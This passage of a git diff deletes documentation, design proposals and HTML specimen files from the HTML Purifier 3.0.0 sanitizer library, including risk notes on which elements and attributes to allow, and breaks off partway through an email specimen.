    - - - diff --git a/lib/htmlpurifier-3.0.0/docs/proposal-config.txt b/lib/htmlpurifier-3.0.0/docs/proposal-config.txt deleted file mode 100644 index a9ee73a..0000000 --- a/lib/htmlpurifier-3.0.0/docs/proposal-config.txt +++ /dev/null @@ -1,21 +0,0 @@ - -Configuration - -Configuration is documented on a per-use case: if a class uses a certain -value from the configuration object, it has to define its name and what the -value is used for. This means decentralized configuration declarations that -are nevertheless error checking and a centralized configuration object. - -Directives are divided into namespaces, indicating the major portion of -functionality they cover (although there may be overlaps). Please consult -the documentation in ConfigDef for more information on these namespaces. - -Since configuration is dependant on context, internal classes require a -configuration object to be passed as a parameter. (They also require a -Context object). A majority of classes do not need the config object, -but for those who do, it is a lifesaver. - -Definition objects are complex datatypes influenced by their respective -directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). -If any of these directives is updated, HTML Purifier forces the definition -to be regenerated. diff --git a/lib/htmlpurifier-3.0.0/docs/proposal-filter-levels.txt b/lib/htmlpurifier-3.0.0/docs/proposal-filter-levels.txt deleted file mode 100644 index 3118c64..0000000 --- a/lib/htmlpurifier-3.0.0/docs/proposal-filter-levels.txt +++ /dev/null @@ -1,135 +0,0 @@ - -Filter Levels - When one size *does not* fit all - -It makes little sense to constrain users to one set of HTML elements and -attributes and tell them that they are not allowed to mold this in -any fashion. Many users demand to be able to custom-select which elements -and attributes they want. This is fine: because HTML Purifier keeps close -track of what elements are safe to use, there is no way for them to -accidently allow an XSS-able tag. - -However, combing through the HTML spec to make your own whitelist can -be a daunting task. HTML Purifier ought to offer pre-canned filter levels -that amateur users can select based on what they think is their use-case. - -Here are some fuzzy levels you could set: - -1. Comments - Wordpress recommends a, abbr, acronym, b, blockquote, cite, - code, em, i, strike, strong; however, you could get away with only a, em and - p; also having blockquote and pre tags would be helpful. -2. BBCode - Emulate the usual tagset for forums: b, i, img, a, blockquote, - pre, div, span and h[2-6] (the last three are for specially formatted - posts, div and span require associated classes or inline styling enabled - to be useful) -3. Pages - As permissive as possible without allowing XSS. No protection - against bad design sense, unfortunantely. Suitable for wiki and page - environments. (probably what we have now) -4. Lint - Accept everything in the spec, a Tidy wannabe. (This probably won't - get implemented as it would require routines for things like - and friends to be implemented, which is a lot of work for not a lot of - benefit) - -One final note: when you start axing tags that are more commonly used, you -run the risk of accidentally destroying user data, especially if the data -is incoming from a WYSIWYG editor that hasn't been synced accordingly. This may -make forbidden element to text transformations desirable (for example, images). - - - -== Element Risk Analysis == - -Although none of the currently supported elements presents a security -threat per-say, some can cause problems for page layouts or be -extremely complicated. - -Legend: - [danger level] - regular tags / uncommon tags ~ deprecated tags - [danger level]* - rare tags - -1 - blockquote, code, em, i, p, tt / strong, sub, sup -1* - abbr, acronym, bdo, cite, dfn, kbd, q, samp -2 - b, br, del, div, pre, span / ins, s, strike ~ u -3 - h2, h3, h4, h5, h6 ~ center -4 - h1, big ~ font -5 - a -7 - area, map - -These are special use tags, they should be enabled on a blanket basis. - -Lists - dd, dl, dt, li, ol, ul ~ menu, dir -Tables - caption, table, td, th, tr / col, colgroup, tbody, tfoot, thead - -Forms - fieldset, form, input, lable, legend, optgroup, option, select, textarea -XSS - noscript, object, script ~ applet -Meta - base, basefont, body, head, html, link, meta, style, title -Frames - frame, frameset, iframe - -And tag specific notes: - -a - general problems involving linkspam -b - too much bold is bad, typographically speaking bold is discouraged -br - often misused -center - CSS, usually no legit use -del - only useful in editing context -div - little meaning in certain contexts i.e. blog comment -h1 - usually no legit use, as header is already set by application -h* - not needed in blog comments -hr - usually not necessary in blog comments -img - could be extremely undesirable if linking to external pics (CSRF, goatse) -pre - could use formatting, only useful in code contexts -q - very little support -s - transform into span with styling or del? -small - technically presentational -span - depends on attribute allowances -sub, sup - specialized -u - little legit use, prefer class with text-decoration - -Based on the riskiness of the items, we may want to offer %HTML.DisableImages -attribute and put URI filtering higher up on the priority list. - - -== Attribute Risk Analysis == - -We actually have a suprisingly small assortment of allowed attributes (the -rest are deprecated in strict, and thus we opted not to allow them, even -though our output is XHTML Transitional by default.) - -Required URI - img.alt, img.src, a.href -Medium risk - *.class, *.dir -High risk - img.height, img.width, *.id, *.style - -Table - colgroup/col.span, td/th.rowspan, td/th.colspan -Uncommon - *.title, *.lang, *.xml:lang -Rare - td/th.abbr, table.summary, {table}.charoff -Rare URI - del.cite, ins.cite, blockquote.cite, q.cite, img.longdesc -Presentational - {table}.align, {table}.valign, table.frame, table.rules, - table.border -Partially presentational - table.cellpadding, table.cellspacing, - table.width, col.width, colgroup.width - - -== CSS Risk Analysis == - -Currently, there is no support for fine-grained "allowed CSS" specification, -mainly because I'm lazy, partially because no one has asked for it. However, -this will be added eventually. - -There are certain CSS elements that are extremely useful inline, but then -as you get to more presentation oriented styling it may not always be -appropriate to inline them. - -Useful - clear, float, border-collapse, caption-side - -These CSS properties can break layouts if used improperly. We have excluded -any CSS properties that are not currently implemented (such as position). - -Dangerous, can go outside container - float -Easy to abuse - font-size, font-family (font), width -Colored - background-color (background), border-color (border), color - (see proposal-colors.html) -Dramatic - border, list-style-position (list-style), margin, padding, - text-align, text-indent, text-transform, vertical-align, line-height - -Dramatic elements substantially change the look of text in ways that should -probably have been reserved to other areas. diff --git a/lib/htmlpurifier-3.0.0/docs/proposal-language.txt b/lib/htmlpurifier-3.0.0/docs/proposal-language.txt deleted file mode 100644 index d4e67e9..0000000 --- a/lib/htmlpurifier-3.0.0/docs/proposal-language.txt +++ /dev/null @@ -1,62 +0,0 @@ -We are going to model our I18N/L10N off of MediaWiki's system. Their's is -obviously quite complicated, so we're going to simplify it a bit for our needs. - -== Caching == - -MediaWiki has lots of caching mechanisms built in, which make the code somewhat -more difficult to understand. Before doing any loading, MediaWiki will check -the following places to see if we can be lazy: - -1. $mLocalisationCache[$code] - just a variable where it may have been stashed -2. serialized/$code.ser - compiled serialized language file -3. Memcached version of file (with expiration checking) - -Expiration checking consists of by ensuring all dependencies have filemtime -that match the ones bundled with the cached copy. Similar checking could be -implemented for serialized versions, as it seems that they are not updated -until manually recompiled. - -== Behavior == - -Things that are localizable: - -- Weekdays (and abbrev) -- Months (and abbrev) -- Bookstores -- Skin names -- Date preferences / Custom date format -- Default date format -- Default user option overrides --+ Language names -- Timezones --+ Character encoding conversion via iconv -- UpperLowerCase first (needs casemaps for some) -- UpperLowerCase -- Uppercase words -- Uppercase word breaks -- Case folding -- Strip punctuation for MySQL search -- Get first character --+ Alternate encoding --+ Recoding for edit (and then recode input) --+ RTL --+ Direction mark character depending on RTL --? Arrow depending on RTL -- Languages where italics cannot be used --+ Number formatting (commafy, transform digits, transform separators) -- Truncate (multibyte) -- Grammar conversions for inflected languages -- Plural transformations -- Formatting expiry times -- Segmenting for diffs (Chinese) -- Convert to variants of language -- Language specific user preference options -- Link trails [[foo]]bar --+ Language code (RFC 3066) - -Neat functionality: - -- I18N sprintfDate -- Roman numeral formatting - -Items marked with a + likely need to be addressed by HTML Purifier diff --git a/lib/htmlpurifier-3.0.0/docs/proposal-new-directives.txt b/lib/htmlpurifier-3.0.0/docs/proposal-new-directives.txt deleted file mode 100644 index 1ce1b93..0000000 --- a/lib/htmlpurifier-3.0.0/docs/proposal-new-directives.txt +++ /dev/null @@ -1,43 +0,0 @@ - -Configuration Ideas - -Here are some theoretical configuration ideas that we could implement some -time. Note the naming convention: %Namespace.Directive. If you want one -implemented, give us a ring, and we'll move it up the priority chain. - -%Attr.RewriteFragments - if there's %Attr.IDPrefix we may want to transparently - rewrite the URLs we parse too. However, we can only do it when it's a pure - anchor link, so it's not foolproof - -%Attr.ClassBlacklist, -%Attr.ClassWhitelist, -%Attr.ClassPolicy - determines what classes are allowed. When - %Attr.ClassPolicy is set to Blacklist, only allow those not in - %Attr.ClassBlacklist. When it's Whitelist, only allow those in - %Attr.ClassWhitelist. - -%Attr.MaxWidth, -%Attr.MaxHeight - caps for width and height related checks. - (the hack in Pixels for an image crashing attack could be replaced by this) - -%URI.AddRelNofollow - will add rel="nofollow" to all links, preventing the - spread of ill-gotten pagerank - -%URI.HostBlacklistRegex - regexes that if matching the host are disallowed -%URI.HostWhitelist - domain names that are excluded from the host blacklist -%URI.HostPolicy - determines whether or not its reject all and then whitelist - or allow all in then do specific blacklists with whitelist intervening. - 'DenyAll' or 'AllowAll' (default) - -%URI.DisableIPHosts - URIs that have IP addresses for hosts are disallowed. - Be sure to also grab unusual encodings (dword, hex and octal), which may - be currently be caught by regular DNS -%URI.DisableIDN - Disallow raw internationalized domain names. Punycode - will still be permitted. - -%URI.ConvertUnusualIPHosts - transform dword/hex/octal IP addresses to the - regular form -%URI.ConvertAbsoluteDNS - Remove extra dots after host names that trigger - absolute DNS. While this is actually the preferred method according to - the RFC, most people opt to use a relative domain name relative to . (root). - diff --git a/lib/htmlpurifier-3.0.0/docs/ref-content-models.txt b/lib/htmlpurifier-3.0.0/docs/ref-content-models.txt deleted file mode 100644 index 11d4aca..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-content-models.txt +++ /dev/null @@ -1,48 +0,0 @@ - -Handling Content Model Changes - - -1. Context - -The distinction between Transitional and Strict document types is somewhat -of an anomaly in the lineage of XHTML document types (following 1.0, no -doctypes do not have flavors: instead, modularization is used to let -document authors vary their elements). This transition is usually quite -straight-forward, as W3C usually deprecates attributes or elements, which -are quite easily handled using tag and attribute transforms. - -However, for two elements,
    , and
    , W3C elected -to also change the content model.
    and originally -accepted both inline and block elements, but in the strict doctype they -only allow block elements. With
    , the situation is inverted: -

    tags were now forbidden from appearing within this tag. - - -2. Current situation - -Currently, HTML Purifier treats

    specially during Tidy mode -using a custom ChildDef class StrictBlockquote. StrictBlockquote -operates similarly to Required, except that when it encounters an inline -element, it will wrap it in a block tag (as specified by -%HTML.BlockWrapper, the default is

    ). The naming suggests it can -only be used for

    s, although it may be possible to -genericize it to work on other cases of this nature (this would be of -little practical application, as no other element in XHTML 1.1 or earlier -has a block-only content model). - -Tidy currently contains no custom, lenient implementation for
    . -If one were to be written, it would likely operate on the principle that, -when a

    tag were to be encountered, it would be replaced with a -leading and trailing
    tag (the contents of

    , being inline, are -not an issue). There is no prior work with this sort of operation. - - -3. Outside applicability - -There are a number of other elements that contain restrictive content -models, such as

      or (the latter is restrictive in that it -does not allow block elements). In the former case, an errant node -is eliminated completely, in the latter case, the text of the node -would is preserved (as the parent node does allow PCDATA). Custom -content model implementations probably are not the best way of handling -these cases, instead, node bubbling should be implemented instead. diff --git a/lib/htmlpurifier-3.0.0/docs/ref-css-length.txt b/lib/htmlpurifier-3.0.0/docs/ref-css-length.txt deleted file mode 100644 index 284ec8b..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-css-length.txt +++ /dev/null @@ -1,28 +0,0 @@ - -CSS Length Reference - To bound, or not to bound, that is the question - -It's quite a reasonable request, really, and it's already been implemented -for HTML. That is, length bounding. It makes little sense to let users -define text blocks that have a font-size of 63,360 inches (that's a mile, -by the way) or a width of forty-fold the parent container. - -But it's a little more complicated then that. There are multiple units -one can use, and we have to a little unit conversion to get things working. -Here's what we have: - -Absolute: - 1 in ~= 2.54 cm - 1 cm = 10 mm - 1 pt = 1/72 in - 1 pc = 12 pt - -Relative: - 1 em ~= 10.0667 px - 1 ex ~= 0.5 em, though Mozilla Firefox says 1 ex = 6px - 1 px ~= 1 pt - -Watch out: font-sizes can also be nested to get successively larger -(although I do not relish having to keep track of context font-sizes, -this may be necessary, especially for some of the more advanced features -for preventing things like white on white). diff --git a/lib/htmlpurifier-3.0.0/docs/ref-devnetwork.html b/lib/htmlpurifier-3.0.0/docs/ref-devnetwork.html deleted file mode 100644 index 25a5a44..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-devnetwork.html +++ /dev/null @@ -1,45 +0,0 @@ - - - - - - - -DevNetwork Credits - HTML Purifier - - - - -

      DevNetwork Credits

      - -
      Filed under Reference
      -
      Return to the index.
      -
      HTML Purifier End-User Documentation
      - -

      Many thanks to the DevNetwork community for answering questions, -theorizing about design, and offering encouragement during -the development of this library in these forum threads:

      - - - -

      ...as well as any I may have forgotten.

      - -
      $Id: ref-devnetwork.html 1253 2007-06-27 13:58:32Z Edward $
      - - diff --git a/lib/htmlpurifier-3.0.0/docs/ref-html-modularization.txt b/lib/htmlpurifier-3.0.0/docs/ref-html-modularization.txt deleted file mode 100644 index 8b54b8f..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-html-modularization.txt +++ /dev/null @@ -1,164 +0,0 @@ - -The Modularization of HTMLDefinition in HTML Purifier - -Todo for XHTML 1.1 support -1. Support Ruby - -HTML Purifier uses the modularization of XHTML - to organize the internals -of HTMLDefinition into a more manageable and extensible fashion. Rather -than have one super-object, HTMLDefinition is split into HTMLModules, -each of which are responsible for defining elements, their attributes, -and other properties (for a more indepth coverage, see -/library/HTMLPurifier/HTMLModule.php's docblock comments). These modules -are managed by HTMLModuleManager. - -Modules that we don't support but could support are: - - * 5.6. Table Modules - o 5.6.1. Basic Tables Module [?] - * 5.8. Client-side Image Map Module [?] - * 5.9. Server-side Image Map Module [?] - * 5.12. Target Module [?] - * 5.21. Name Identification Module [deprecated] - -These modules would be implemented as "unsafe": - - * 5.2. Core Modules - o 5.2.1. Structure Module - * 5.3. Applet Module - * 5.5. Forms Modules - o 5.5.1. Basic Forms Module - o 5.5.2. Forms Module - * 5.10. Object Module - * 5.11. Frames Module - * 5.13. Iframe Module - * 5.14. Intrinsic Events Module - * 5.15. Metainformation Module - * 5.16. Scripting Module - * 5.17. Style Sheet Module - * 5.19. Link Module - * 5.20. Base Module - -We will not be using W3C's XML Schemas or DTDs directly due to the lack -of robust tools for handling them (the main problem is that all the -current parsers are usually PHP 5 only and solely-validating, not -correcting). - -This system may be generalized and ported over for CSS. - -== General Use-Case == - -The outwards API of HTMLDefinition has been largely preserved, not -only for backwards-compatibility but also by design. Instead, -HTMLDefinition can be retrieved "raw", in which it loads a structure -that closely resembles the modules of XHTML 1.1. This structure is very -dynamic, making it easy to make cascading changes to global content -sets or remove elements in bulk. - -However, once HTML Purifier needs the actual definition, it retrieves -a finalized version of HTMLDefinition. The finalized definition involves -processing the modules into a form that it is optimized for multiple -calls. This final version is immutable and, even if editable, would -be extremely hard to change. - -So, some code taking advantage of the XHTML modularization may look -like this: - -getHTMLDefinition(true); // reference to raw - $def->addElement('marquee', 'Block', 'Flow', 'Common'); - $purifier = new HTMLPurifier($config); - $purifier->purify($html); // now the definition is finalized -?> - -== Inclusions == - -One of the nice features of HTMLDefinition is that piggy-backing off -of global attribute and content sets is extremely easy to do. - -=== Attributes === - -HTMLModule->elements[$element]->attr stores attribute information for the -specific attributes of $element. This is quite close to the final -API that HTML Purifier interfaces with, but there's an important -extra feature: attr may also contain a array with a member index zero. - -elements[$element]->attr[0] = array('AttrSet'); -?> - -Rather than map the attribute key 0 to an array (which should be -an AttrDef), it defines a number of attribute collections that should -be merged into this elements attribute array. - -Furthermore, the value of an attribute key, attribute value pair need -not be a fully fledged AttrDef object. They can also be a string, which -signifies a AttrDef that is looked up from a centralized registry -AttrTypes. This allows more concise attribute definitions that look -more like W3C's declarations, as well as offering a centralized point -for modifying the behavior of one attribute type. And, of course, the -old method of manually instantiating an AttrDef still works. - -=== Attribute Collections === - -Attribute collections are stored and processed in the AttrCollections -object, which is responsible for performing the inclusions signified -by the 0 index. These attribute collections, too, are mutable, by -using HTMLModule->attr_collections. You may add new attributes -to a collection or define an entirely new collection for your module's -use. Inclusions can also be cumulative. - -Attribute collections allow us to get rid of so called "global attributes" -(which actually aren't so global). - -=== Content Models and ChildDef === - -An implementation of the above-mentioned attributes and attribute -collections was applied to the ChildDef system. HTML Purifier uses -a proprietary system called ChildDef for performance and flexibility -reasons, but this does not line up very well with W3C's notion of -regexps for defining the allowed children of an element. - -HTMLPurifier->elements[$element]->content_model and -HTMLPurifier->elements[$element]->content_model_type store information -about the final ChildDef that will be stored in -HTMLPurifier->elements[$element]->child (we use a different variable -because the two forms are sufficiently different). - -$content_model is an abstract, string representation of the internal -state of ChildDef, while $content_model_type is a string identifier -of which ChildDef subclass to instantiate. $content_model is processed -by substituting all content set identifiers (capitalized element names) -with their contents. It is then parsed and passed into the appropriate -ChildDef class, as defined by the ContentSets->getChildDef() or the -custom fallback HTMLModule->getChildDef() for custom child definitions -not in the core. - -You'll need to use these facilities if you plan on referencing a content -set like "Inline" or "Block", and using them is recommended even if you're -not due to their conciseness. - -A few notes on $content_model: it's structure can be as complicated -as you want, but the pipe symbol (|) is reserved for defining possible -choices, due to the content sets implementation. For example, a content -model that looks like: - -"Inline -> Block -> a" - -...when the Inline content set is defined as "span | b" and the Block -content set is defined as "div | blockquote", will expand into: - -"span | b -> div | blockquote -> a" - -The custom HTMLModule->getChildDef() function will need to be able to -then feed this information to ChildDef in a usable manner. - -=== Content Sets === - -Content sets can be altered using HTMLModule->content_sets, an associative -array of content set names to content set contents. If the content set -already exists, your values are appended on to it (great for, say, -registering the font tag as an inline element), otherwise it is -created. They are substituted into content_model. diff --git a/lib/htmlpurifier-3.0.0/docs/ref-proprietary-tags.txt b/lib/htmlpurifier-3.0.0/docs/ref-proprietary-tags.txt deleted file mode 100644 index 9989e81..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-proprietary-tags.txt +++ /dev/null @@ -1,24 +0,0 @@ - -Proprietary Tags - and friends - -Here are some proprietary tags that W3C does not define but occasionally show -up in the wild. We have only included tags that would make sense in an -HTML Purifier context. - -, block element that aligns (extremely rare) -, inline that double-bolds text (extremely rare) -, hidden comment for IE and WebTV -, multiple columns -, no linebreaks -, whitespace in doc, - use width/height for block and size for vertical/horizontal (attributes) - (extremely rare) -, potential word break point: allows linebreaks. Only works in - -, monospace pre-variant (extremely rare) -, escapes all tags to the end of document -<xmp>, monospace, replace with pre - -These should be put into their own Tidy module, not loaded by default(?). These -all qualify as "lenient" transforms. diff --git a/lib/htmlpurifier-3.0.0/docs/ref-whatwg.txt b/lib/htmlpurifier-3.0.0/docs/ref-whatwg.txt deleted file mode 100644 index 070d8e8..0000000 --- a/lib/htmlpurifier-3.0.0/docs/ref-whatwg.txt +++ /dev/null @@ -1,24 +0,0 @@ - -Web Hypertext Application Technology Working Group - WHATWG - -== HTML 5 == - -URL: http://www.whatwg.org/specs/web-apps/current-work/ - -HTML 5 defines a kaboodle of new elements and attributes, as well as -some well-defined, "quirks mode" HTML parsing. Although WHATWG professes -to be targeted towards web applications, many of their semantic additions -would be quite useful in regular documents. Eventually, HTML -Purifier will need to audit their lists and figure out what changes need -to be made. This process is complicated by the fact that the WHATWG -doesn't buy into W3C's modularization of XHTML 1.1: we may need -to remodularize HTML 5 (probably done by section name). No sense in -committing ourselves till the spec stabilizes, though. - -More immediately speaking though, however, is the well-defined parsing -behavior that HTML 5 adds. While I have little interest in writing -another DirectLex parser, other parsers like ph5p -<http://jero.net/lab/ph5p/> can be adapted to DOMLex to support much more -flexible HTML parsing (a cool feature I've seen is how they resolve -<b>bold<i>both</b>italic</i>). diff --git a/lib/htmlpurifier-3.0.0/docs/specimens/LICENSE b/lib/htmlpurifier-3.0.0/docs/specimens/LICENSE deleted file mode 100644 index 8b94b0d..0000000 --- a/lib/htmlpurifier-3.0.0/docs/specimens/LICENSE +++ /dev/null @@ -1,8 +0,0 @@ -Licensing of Specimens - -Some files in this directory have different licenses: - -windows-live-mail-desktop-beta.html - donated by laacz, public domain -img.png - LGPL, from <http://commons.wikimedia.org/wiki/Image:Pastille_chrome.png> - -All other files are by me, and are licensed under LGPL. \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/docs/specimens/html-align-to-css.html b/lib/htmlpurifier-3.0.0/docs/specimens/html-align-to-css.html deleted file mode 100644 index a301bc5..0000000 --- a/lib/htmlpurifier-3.0.0/docs/specimens/html-align-to-css.html +++ /dev/null @@ -1,165 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" - "http://www.w3.org/TR/html4/loose.dtd"> -<html> -<head> -<title>HTML align attribute to CSS - HTML Purifier Specimen</title> -<style type="text/css"> -div.container {position:relative;height:110px;} -div.container.legend .test {text-align:center;line-height:100px;} -div.test {width:100px;height:100px;border:1px solid black; -position:absolute;top:10px;} -div.test.html {left:10px;} -div.test.css {left:140px;} -table {background:#F00;} -img {border:1px solid #000;} -hr {width:50px;} -div.segment {width:250px; float:left; margin-top:1em;} -</style> -</head> -<body> - -<h1>HTML align attribute to CSS</h1> - -<p>Inspect source for methodology.</p> - -<div class="container legend"> -<div class="test html"> - HTML -</div> -<div class="test css"> - CSS -</div> -</div> - -<div class="segment"> - -<h2>table.align</h2> - -<h3>left</h3> -<div class="container"> -<div class="test html"> - a<table align="left"><tr><td>O</td></tr></table>a -</div> -<div class="test css"> - a<table style="float:left;"><tr><td>O</td></tr></table>a -</div> -</div> - -<h3>center</h3> -<div class="container"> -<div class="test html"> - a<table align="center"><tr><td>O</td></tr></table>a -</div> -<div class="test css"> - a<table style="margin-left:auto; margin-right:auto;"><tr><td>O</td></tr></table>a -</div> -</div> - -<h3>right</h3> -<div class="container"> -<div class="test html"> - a<table align="right"><tr><td>O</td></tr></table>a -</div> -<div class="test css"> - a<table style="float:right;"><tr><td>O</td></tr></table>a -</div> -</div> - -</div> - -<!-- ################################################################## --> - -<div class="segment"> -<h2>img.align</h2> -<h3>left</h3> -<div class="container"> -<div class="test html"> - a<img src="img.png" align="left">a -</div> -<div class="test css"> - a<img src="img.png" style="float:left;">a -</div> -</div> - -<h3>right</h3> -<div class="container"> -<div class="test html"> - a<img src="img.png" align="right">a -</div> -<div class="test css"> - a<img src="img.png" style="float:right;">a -</div> -</div> - -<h3>bottom</h3> -<div class="container"> -<div class="test html"> - a<img src="img.png" align="bottom">a -</div> -<div class="test css"> - a<img src="img.png" style="vertical-align:baseline;">a -</div> -</div> - -<h3>middle</h3> -<div class="container"> -<div class="test html"> - a<img src="img.png" align="middle">a -</div> -<div class="test css"> - a<img src="img.png" style="vertical-align:middle;">a -</div> -</div> - -<h3>top</h3> -<div class="container"> -<div class="test html"> - a<img src="img.png" align="top">a -</div> -<div class="test css"> - a<img src="img.png" style="vertical-align:top;">a -</div> -</div> - -</div> - -<!-- ################################################################## --> - -<div class="segment"> - -<h2>hr.align</h2> - -<h3>left</h3> -<div class="container"> -<div class="test html"> - <hr align="left" /> -</div> -<div class="test css"> - <hr style="margin-right:auto; margin-left:0; text-align:left;" /> -</div> -</div> - -<h3>center</h3> -<div class="container"> -<div class="test html"> - <hr align="center" /> -</div> -<div class="test css"> - <hr style="margin-right:auto; margin-left:auto; text-align:center;" /> -</div> -</div> - -<h3>right</h3> -<div class="container"> -<div class="test html"> - <hr align="right" /> -</div> -<div class="test css"> - <hr style="margin-right:0; margin-left:auto; text-align:right;" /> -</div> -</div> - -</div> - -</body> -</html> \ No newline at end of file diff --git a/lib/htmlpurifier-3.0.0/docs/specimens/img.png b/lib/htmlpurifier-3.0.0/docs/specimens/img.png deleted file mode 100644 index a755bcb5edbb34f9795364dd147f6d3c58465c86..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2138 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 Qga7~l07*qoM6N<$f>PD%9{>OV diff --git a/lib/htmlpurifier-3.0.0/docs/specimens/windows-live-mail-desktop-beta.html b/lib/htmlpurifier-3.0.0/docs/specimens/windows-live-mail-desktop-beta.html deleted file mode 100644 index f09cc32..0000000 --- a/lib/htmlpurifier-3.0.0/docs/specimens/windows-live-mail-desktop-beta.html +++ /dev/null @@ -1,74 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> -<HTML ChildAreas="4" xmlns:canvas><HEAD> -<META http-equiv=Content-Type content=text/html;charset=windows-1257> -<STYLE></STYLE> - -<META content="MSHTML 6.00.6000.16414" name=GENERATOR></HEAD> -<BODY id=MailContainerBody -style="PADDING-RIGHT: 10px; PADDING-LEFT: 10px; FONT-SIZE: 10pt; COLOR: #000000; PADDING-TOP: 15px; FONT-FAMILY: Arial" -bgColor=#ff6600 leftMargin=0 background="" topMargin=0 -name="Compose message area" acc_role="text" CanvasTabStop="false"> -<DIV -style="BORDER-TOP: #dddddd 1px solid; FONT-SIZE: 10pt; WIDTH: 100%; MARGIN-RIGHT: 10px; PADDING-TOP: 5px; BORDER-BOTTOM: #dddddd 1px solid; FONT-FAMILY: Verdana; HEIGHT: 25px; 